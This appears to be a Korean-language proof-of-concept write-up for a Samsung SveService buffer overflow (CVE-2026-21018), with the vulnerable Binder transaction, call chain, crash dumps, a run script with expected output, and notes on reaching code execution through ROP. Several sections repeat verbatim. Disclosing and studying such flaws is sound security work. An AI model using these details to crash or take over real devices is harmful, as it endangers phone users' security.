
CVE-2026-21018을 위한 최소 PoC로, 작동 방식을 보여줍니다.
Samsung SMR 2026년 5월
SVE-2026-0478(CVE-2026-21018)
영향받는 버전: Android 14, 15, 16
공개 상태: 비공개 제보
SMR 2026년 5월 릴리스 1 이전의 SveService에서 발생하는 범위를 벗어난 쓰기(Out-of-bounds write)로 인해 로컬 권한을 가진 공격자가 임의 코드를 실행할 수 있습니다.
이 패치는 적절한 입력 검증을 추가합니다.
Android 16을 실행하는 삼성 기기의 시스템 서비스 SveService(com.sec.sve)에서 발생하는 버퍼 오버플로우 취약점입니다. 이 서비스는 system(UID 1000)으로 실행되며, Binder를 통해 특별한 권한 없이 접근할 수 있습니다.
| 구성 요소 | 역할 | 버전 |
|---|---|---|
sveservice.apk | Android 서비스 | API 36 |
libsvejni.so | 네이티브 ARM64 라이브러리 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
sveJNISVE_SetCodecInfo(libsvejni.so:0x21710) 함수에서 i18, i19, i20 매개변수(AIDL에서 i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38로 수신됨)가 크기 검증 없이 memset, sub sp, sp, xN(alloca), memcpy에 직접 전달됩니다.
유사한 함수들(GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams)은 cmp w20, #0x1e; b.gt로 검증합니다(30바이트 초과 거부). SetCodecInfo는 전혀 검증하지 않습니다.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1(0xFFFFFFFF) 값에서의 결과Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
예상 출력:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
app_process를 통한 ServiceManager.getService()는 shell UID로 동작합니다.signatureOrSystem 권한은 적용되지 않습니다. 이 서비스는 ServiceManager.addService()를 통해 직접 등록되어 Android의 권한 메커니즘을 우회합니다.0xFFFFFFFF를 사용한 memset은 항상 크래시를 일으킵니다. RCE에는 주소 누수 + ROP가 필요합니다(SM-A175F에는 PAC 없음).Android 16을 실행하는 삼성 기기의 시스템 서비스 SveService(com.sec.sve)에서 발생하는 버퍼 오버플로우 취약점입니다. 이 서비스는 system(UID 1000)으로 실행되며, Binder를 통해 특별한 권한 없이 접근할 수 있습니다.
| 구성 요소 | 역할 | 버전 |
|---|---|---|
sveservice.apk | Android 서비스 | API 36 |
libsvejni.so | 네이티브 ARM64 라이브러리 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
sveJNISVE_SetCodecInfo(libsvejni.so:0x21710) 함수에서 i18, i19, i20 매개변수(AIDL에서 i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38로 수신됨)가 크기 검증 없이 memset, sub sp, sp, xN(alloca), memcpy의 인자로 직접 사용됩니다.
유사한 함수들(GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams)은 cmp w20, #0x1e; b.gt로 검증합니다(30바이트 초과 거부). SetCodecInfo는 아무것도 검증하지 않습니다.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1(0xFFFFFFFF) 값에서의 결과cd poc
./build_and_run.sh
예상 출력:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
app_process를 통한 ServiceManager.getService()는 shell UID로 동작합니다.signatureOrSystem 권한은 적용되지 않습니다. 이 서비스는 ServiceManager.addService()를 통해 직접 등록되어 권한 검사를 우회합니다.0xFFFFFFFF를 사용한 memset은 항상 크래시를 일으킵니다. RCE에는 주소 누수 + ROP가 필요합니다(SM-A175F에는 PAC 없음).| 연산 | 값 | 결과 |
|---|
(i18 + 15) & ~15 | 0 | 0바이트 할당 |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 4GB를 0으로 만들려는 시도 → SIGSEGV |
sxtw(i18)(memcpy용) | 0xFFFFFFFFFFFFFFFF | -1의 부호 확장 → 약 18엑사바이트 |
| 연산 | 값 | 결과 |
|---|
(i18 + 15) & ~15 | 0 | 0바이트 할당 |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 4GB를 0으로 만들려는 시도 → SIGSEGV |
sxtw(i18)(memcpy용) | 0xFFFFFFFFFFFFFFFF | -1의 부호 확장 → 약 18엑사바이트 |